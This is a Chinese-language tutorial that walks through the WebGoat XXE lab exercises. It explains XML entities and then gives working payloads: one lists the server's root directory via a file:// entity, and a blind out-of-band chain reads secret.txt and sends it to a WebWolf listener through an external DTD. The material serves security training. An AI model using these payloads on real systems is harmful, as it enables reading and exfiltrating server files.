目录
01 什么是XML语言
XML(EXtensible Markup Language),可扩展标记语言,是一种用于标记电子文件,使其具有结构性的标记语言,可以用来标记数据,定义数据类型。与HTML不同:HTML被设计来显示数据,XML被设计来传输数据。
例如下图中的代码就是XML代码:
02 实体、外部实体
实体是XML中一种用来指代指定字符的引用,在XML解析器运行时,解析器会用指定字符替换实体来执行文件。实体都以"&"开头,以";"结束。例如:"&" 是指代"&"字符。实体必须在DTD中被合法创建才能在后续的代码中被使用。
例子:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY aaa "This is text">
]>
<p>&aaa;</p>
创建内部实体的格式是
<!ENTITY {实体名} "{用来替代实体的文本}">
在这段代码中,<!ENTITY aaa "This is text">创建了一个名为aaa的内部实体,用来代替This is text这段文本。
调用的格式是:
&{实体名};
通过&aaa;对实体进行调用,在执行时,&aaa;会被XML解析器用This is text代替。
实体通常分成:
- 外部实体
- 内部实体
- 参数实体
外部实体和内部实体是相对而言的。外部实体引用的是来自外部的文件,而内部实体引用的通常是字符串,就如上面的例子。
外部实体的例子:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY bbb SYSTEM "1.xml">
]>
&bbb;
外部实体的定义格式中多了一个SYSTEM,用来表示引用系统中的文件。
03 什么是XXE
全称XML External Entity attack,XML外部实体攻击。
因为XML允许从外部引入实体,并且该请求是由服务器处理过程发生的,是受信任的,攻击者就可以通过XXE获取到服务器上重要的数据,或者通过引入自己写的代码进行其他操作。
04 XXE问题3 ★
这道题要求我们列出文件系统的根目录。
windows系统的根目录地址:file:///c:/
Mac/Linux系统的根目录地址:file:///
先用burp抓个包
定义一个外部实体
<!DOCTYPE test[
<!ENTITY list SYSTEM "file:///c:/">
]>
注意SYSTEM后面的路径要根据你的操作系统改变,我这里是windows。
然后在评论中引用实体:
<comment> <text>111&list;</text></comment>
请求修改如图:
最后点击 Go, 就可以看到响应中的Congratulations了。
05 XXE问题4 ★
这一题和上一题的要求是一样的,不同的是请求包的主体用的是json
那么我们就把文件头中content-type的值改一下,改成application/xml,然后将上一题的主体代码直接拿来用就可以了。
修改如下:
06 参数实体
参数实体可以是外部的或者内部的,只能在DTD文件中被引用,而其他实体在XML文档内引用。
定义格式为:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
引用格式为:
%{实体名};
在参数实体中可以引用其他参数实体,但参数实体的引用只能出现在外部DTD子集声明中。
07 XXE问题7 ★
题目的要求是,拿到指定目录中的txt文件,并通过将其上传的自己的服务器上(下面使用WebWolf),读取其中的内容。
首先我们的思路是:
1、拿到txt文件的内容,并保存在一个参数变量中,便于后面引用
2、将txt的内容发送到WebWolf
第一步我们构造一个XML语句放入请求,我这里是windows的,用户名自己改:
<!ENTITY % file SYSTEM "file:///c:/Users/{当前用户名}/.webgoat-8.0.0.M17/XXE/secret.txt">
这样,引用%file;就能指代这个txt文件的内容了。
然后我们要将它发送到WebWolf中,这里题目给出了上传文件到WebWolf的语句:
http://127.0.0.1:9090/WebWolf/landing?text=contents_file
然而这个地址在我这里是有问题的,无法用它来接收文件,可用的是:
http://127.0.0.1:9090/landing?text=contents_file
因为这个用来发送的实体需要被执行,我们要把他在评论中引用,而参数实体只能在DTD中被引用,因此我们将它定义为一个可以在评论中引用的外部实体:
<!ENTITY send SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>
但我们要面临两个问题。第一个是,参数实体的引用只能出现在外部DTD子集声明中,也就是说,我们不能把这个定义写在请求中,而是要通过另一个外部参数实体在请求中引用它。因此我们先在请求中添加一个引用外部dtd的实体并调用(WebWolf的用户名自己改):
<!ENTITY % file SYSTEM "file:///c:/Users/{当前用户名}/.webgoat-8.0.0.M17/XXE/secret.txt">
%getdtd;
第二个问题是,非参数实体本来是不能不能引用参数实体的。正常来说,send这个外部实体是不能在定义中包含参数实体的引用,%file在一个外部实体或者说非参数实体的定义中,会被当作字符串解析。
我们新建一个xxe1.dtd文件,里面写:
<!ENTITY % write "<!ENTITY send SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">
并且在%getdtd;后面调用%write;
为什么还要用一个参数实体嵌套呢?因为如果我们用一个write参数实体将send外部实体的定义写进请求中,在%write;执行的过程中,%file也会被替换成相应的文本。
最后将xxe1.dtd上传到WebWolf
请求中的主体的代码:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///c:/Users/{电脑用户名}/.webgoat-8.0.0.M17/XXE/secret.txt">
<!ENTITY % getdtd SYSTEM "http://127.0.0.1:9090/files/evixeno/xxe1.dtd">
%getdtd;
%write;
]>
<comment> <text>777&send;</text></comment>
点击Go,响应中虽然是false,但WebWolf的Incoming Request中已经有了我们想要的内容:
划红线的部分就是答案,复制到Webgoat中评论发出去就会看到Congratulations。答案似乎是随机生成的,每个人的可能都不一样。
另外,如果前面没有用嵌套,那么收到的请求应该是这样的:
参考资料
XML中实体的概念
https://blog.csdn.net/janchin/article/details/46849209
XML外部实体(XXE)注入详解